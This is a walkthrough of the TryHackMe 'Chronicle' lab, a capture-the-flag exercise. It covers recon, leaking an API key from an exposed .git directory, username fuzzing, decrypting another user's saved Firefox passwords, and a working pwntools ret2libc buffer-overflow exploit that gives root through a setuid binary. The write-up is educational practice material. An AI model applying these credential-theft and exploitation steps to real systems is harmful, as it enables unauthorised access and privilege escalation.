This is a write-up of the room Chronicle from TryHackMe.

Recon

To begin, start an Nmap scan of the box:

nmap -sC -sV -oN nmap/init chronicle.thm

You will get the following:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b2:4c:49:da:7c:9a:3a:ba:6e:59:46:c2:a9:e6:a2:35 (RSA)
|   256 7a:3e:30:70:cf:32:a4:f2:0a:cb:2b:42:08:0c:19:bd (ECDSA)
|_  256 4f:35:e1:33:96:84:5d:e5:b3:75:7d:d8:32:18:e0:a8 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8081/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see that there is an SSH server as well as two websites. We can see from the headers of Port 8081 that it is a Python web app (Werkzeug)

Exploration

First we visit port 80 and we are greeted with a webpage that simply says ‘Old’ Seems to be nothing else at the moment…

Next, we move on to port 8081. This time we see a far more complete website: Port 8081

Moving around the website, we find a login page: Login Page

We can try basic creds such as admin:admin but the form doesn’t seem to work; we can’t register either. If you click on Forgot Password, you are redirected to the following page: Forgot Password

It seems we only need to type the username and it will tell us the password! If we test the page with a username, in Burpsuite we will see the following request:

POST /api/username HTTP/1.1
Host: chronicle.thm:8081
Content-Length: 14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-type: application/json
Accept: */*
Origin: http://chronicle.thm:8081
Referer: http://chronicle.thm:8081/forgot
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"key":"NULL"}

And we get the response:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 15
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Tue, 24 Aug 2021 13:29:53 GMT

Invalid API Key

Hmmm, Invalid API Key. So we need to now find that key. There doesn’t seem to be anything else on Port 8081, so we can now try fuzzing port 80.

Finding the Key

We can starting fuzzing with ffuf.

ffuf -u http://chronicle.thm/FUZZ -w raft-large-directories-lowercase.txt

We uncover /old directory:

/old

We can read note.txt

Everything has been moved to new directory and the webapp has been deployed

Visiting the templates directory goes to the website

We can start fuzzing /old to find hidden directories:

ffuf -u http://chronicle.thm/old/FUZZ -w raft-large-directories-lowercase.txt

There is a .git folder! We can download it to see what it contains:

wget http://chronicle.thm/old/.git --recursive --continue

We downloaded the following:

$ ls -la
total 20
drwxr-xr-x 4 kali kali 4096 Aug 24 12:38 .
drwxr-xr-x 3 kali kali 4096 Aug 24 12:38 ..
drwxr-xr-x 2 kali kali 4096 Aug 24 12:38 icons
-rw-r--r-- 1 kali kali   15 Mar 26 18:58 index.html
drwxr-xr-x 4 kali kali 4096 Aug 24 12:38 old

Moving into /old…

$ ls -la
total 56
drwxr-xr-x 4 kali kali 4096 Aug 24 12:38  .
drwxr-xr-x 4 kali kali 4096 Aug 24 12:38  ..
drwxr-xr-x 8 kali kali 4096 Aug 24 12:38  .git
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38  index.html
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=D;O=A'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=D;O=D'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=M;O=A'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=M;O=D'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=N;O=A'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=N;O=D'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=S;O=A'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=S;O=D'
-rw-r--r-- 1 kali kali   76 Mar 26 18:27  note.txt
drwxr-xr-x 2 kali kali 4096 Aug 24 12:38  templates

We can use git log to see commit history

git log
commit 038a67e0ebfde470bf83f31174b6e60726c646ae (HEAD -> master)
Author: root <[email protected]>
Date:   Fri Mar 26 22:50:26 2021 +0000

    Clearing again

commit cd0375717551c8c8287a53b78b014b7d7e4da3bb
Author: root <[email protected]>
Date:   Fri Mar 26 22:49:59 2021 +0000

    Clearing

commit 33891017aa63726711585c0a2cd5e39a80cd60e6
Author: root <[email protected]>
Date:   Fri Mar 26 22:34:33 2021 +0000

    Finishing Things

commit 25fa9929ff34c45e493e172bcb64726dfe3a2780

We can view each commit in detail with git show <HASH>

Viewing the first commit:

[email protected]('/api/<uname>',methods=['POST'])
+def info(uname):
+    if(uname == ""):
+        return "Username not provided"
+    print("OK")
+    data=request.get_json(force=True)
+    print(data)
+    if(data['key']=='abcd'):
+        if(uname=="admin"):
+            return '{"username":"admin","password":"password"}'
+        elif(uname=="someone"):
+            return '{"username":"someone","password":"someword"}'
+        else:
+            return 'Invalid Username'
+    else:
+        return "Invalid API Key"

This doesn’t help us as we know that we can’t login with the website and these don’t work for SSH either.

Moving on to the second commit we see the following:

git show 33891017aa63726711585c0a2cd5e39a80cd60e6
+++ b/app.py
@@ -22,11 +22,11 @@ def info(uname):
     print("OK")
     data=request.get_json(force=True)
     print(data)
-    if(data['key']=='abcd'):
+    if(data['key']=='7454c26--------------------------'):
         if(uname=="admin"):
-            return '{"username":"admin","password":"password"}'
+            return '{"username":"admin","password":"password"}'     #Default Change them as required
         elif(uname=="someone"):
-            return '{"username":"someone","password":"someword"}'
+            return '{"username":"someone","password":"someword"}'   #Some other user
         else:
             return 'Invalid Username'

This commit has revealed the key that we needed. We can now try and find a username.

ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -X POST -d '{"key":"7454c2--------------------"}' -u http://chronicle.thm:8081/api/FUZZ -fw 2

We find the username tommy. We can now reset the password: Resetting the Password

We can intercept the request to add the Key: Reset Password Request

User Flag

We can use this password to access SSH:

$ ssh [email protected]  
The authenticity of host 'chronicle.thm (10.10.62.137)' can't be established.
ECDSA key fingerprint is SHA256:t0/3cHdK4vYAwCE2QefO+zIgTg0DipgMcPQLhnjgwhA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'chronicle.thm,10.10.62.137' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Aug 24 16:59:02 UTC 2021

  System load:  0.08              Processes:           99
  Usage of /:   60.5% of 8.79GB   Users logged in:     0
  Memory usage: 41%               IP address for eth0: 10.10.62.137
  Swap usage:   0%


73 packages can be updated.
1 update is a security update.


*** System restart required ***
Last login: Fri Apr 16 14:05:02 2021 from 192.168.29.217
tommy@incognito:~$ 

We can get the User Flag:

tommy@incognito:~$ ls -la
total 44
drwxr-xr-x 7 tommy tommyV 4096 Jun 11 06:22 .
drwxr-xr-x 4 root  root   4096 Apr  3 20:27 ..
lrwxrwxrwx 1 root  root      9 Apr  3 20:45 .bash_history -> /dev/null
-rw-r--r-- 1 tommy tommyV  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 tommy tommyV 3771 Apr  4  2018 .bashrc
drwx------ 2 tommy tommyV 4096 Apr  3 21:07 .cache
drwxr-x--- 3 tommy tommyV 4096 Apr  3 21:41 .config
drwx------ 4 tommy tommyV 4096 Apr  3 21:41 .gnupg
drwxr-xr-x 3 tommy tommyV 4096 Apr  3 21:40 .local
-rw-r--r-- 1 tommy tommyV  807 Apr  4  2018 .profile
-rw-r--r-- 1 tommy tommyV   33 Apr  3 20:53 user.txt
drwxr-xr-x 5 tommy tommyV 4096 Apr  3 20:21 web
tommy@incognito:~$ cat user.txt 
7ba840222ec______________________

Root Flag

We can see that there is another user called carlJ, we can change into their home folder.

tommy@incognito:/home/carlJ$ ls -la
total 44
drwxr-xr-x 8 carlJ carlJ 4096 Jun 11 06:22 .
drwxr-xr-x 4 root  root  4096 Apr  3 20:27 ..
lrwxrwxrwx 1 root  root     9 Apr  3 13:44 .bash_history -> /dev/null
-rw-r--r-- 1 carlJ carlJ  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 carlJ carlJ 3772 Mar 26 23:32 .bashrc
drwx------ 4 carlJ carlJ 4096 Apr  3 20:24 .cache
drwxr-x--- 3 carlJ carlJ 4096 Apr  3 21:44 .config
drwx------ 3 carlJ carlJ 4096 Apr  3 21:44 .gnupg
drwxrwxr-x 3 carlJ carlJ 4096 Apr 16 14:08 .local
drwx------ 2 carlJ carlJ 4096 Apr 16 16:02 mailing
drwxr-xr-x 5 carlJ carlJ 4096 Mar 28 17:29 .mozilla
-rw-r--r-- 1 carlJ carlJ  808 Mar 26 23:32 .profile

mailing folder looks interesting, but we get access denied. We can also see that their is a .mozilla folder, meaning we can potentially dump their passwords…

After a bit of research we can find a tool https://github.com/unode/firefox_decrypt

Clone it onto your local machine

$ git clone https://github.com/unode/firefox_decrypt          
Cloning into 'firefox_decrypt'...
remote: Enumerating objects: 1128, done.
remote: Counting objects: 100% (317/317), done.
remote: Compressing objects: 100% (175/175), done.
remote: Total 1128 (delta 186), reused 248 (delta 132), pack-reused 811
Receiving objects: 100% (1128/1128), 425.81 KiB | 856.00 KiB/s, done.
Resolving deltas: 100% (679/679), done.

Once we have the tool, we can now download the .mozilla folder:

$ scp -r [email protected]:/home/carlJ/.mozilla/firefox firefox

We can now run the script:

$ python3 firefox_decrypt.py firefox                                                                                    12 ⨯
Select the Mozilla profile you wish to decrypt
1 -> 45ir4czt.default
2 -> 0ryxwn4c.default-release
2

Master Password for profile firefox/0ryxwn4c.default-release: 

It needs a password… after trying a few common passwords we find that it is password1.

This reveals a saved password:

Website:   https://incognito.com
Username: 'dev'
Password: 'Pas$---------'

We can try and use this password for SSH and it works!

$ ssh [email protected]                                        
[email protected]'s password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


73 packages can be updated.
1 update is a security update.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Apr  3 20:24:03 2021 from 192.168.29.217
carlJ@incognito:~$

We can now look at the mailing folder:

carlJ@incognito:~/mailing$  ls -la
total 20
drwx------ 2 carlJ carlJ 4096 Apr 16 16:02 .
drwxr-xr-x 8 carlJ carlJ 4096 Jun 11 06:22 ..
-rwsrwxr-x 1 root  root  8544 Apr  3 13:29 smail

We see there is a setuid binary that we can use to exploit!

Running this binary, we see that it is a basic mailer program:

carlJ@incognito:~/mailing$ ./smail 
What do you wanna do
1-Send Message
2-Change your Signature

We can use strings to get more info:

carlJ@incognito:~/mailing$ strings ./smail 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__isoc99_scanf
puts
stdin
fgetc
fgets
__libc_start_main
GLIBC_2.7
GLIBC_2.2.5
__gmon_start__
AWAVI
AUATL
[]A\A]A^A_
Changed
What do you wanna do
1-Send Message
2-Change your Signature
What message you want to send(limit 80)
Sent!
Write your signature...
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
ctf.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
puts@@GLIBC_2.2.5
stdin@@GLIBC_2.2.5
_edata
fgetc@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
fgets@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
_dl_relocate_static_pie
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
setuid@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment

This binary may be vulnerable to buffer overflow. We can try ret2libc Find Out More

We can now craft exploit.py:

from pwn import *

p = process('./smail')

libc_base = 0x7ffff79e2000
system = libc_base + 0x4f550
binsh= libc_base + 0x1b3e1a

POPRDI=0x4007f3

payload = b'A' * 72
payload += p64(0x400556)
payload += p64(POPRDI)
payload += p64(binsh)
payload += p64(system)
payload += p64(0x0)

p.clean()
p.sendline("2")
p.clean()
p.sendline(payload)
p.interactive()

When we run the script, we achieve root access!

carlJ@incognito:~/mailing$ python3 exploit.py 
[+] Starting local process './smail': pid 13932
[*] Switching to interactive mode
Changed
$ whoami
root
$ cd /root
$ ls
root.txt
$ cat root.txt
f21979_______________________________________

And the room is complete!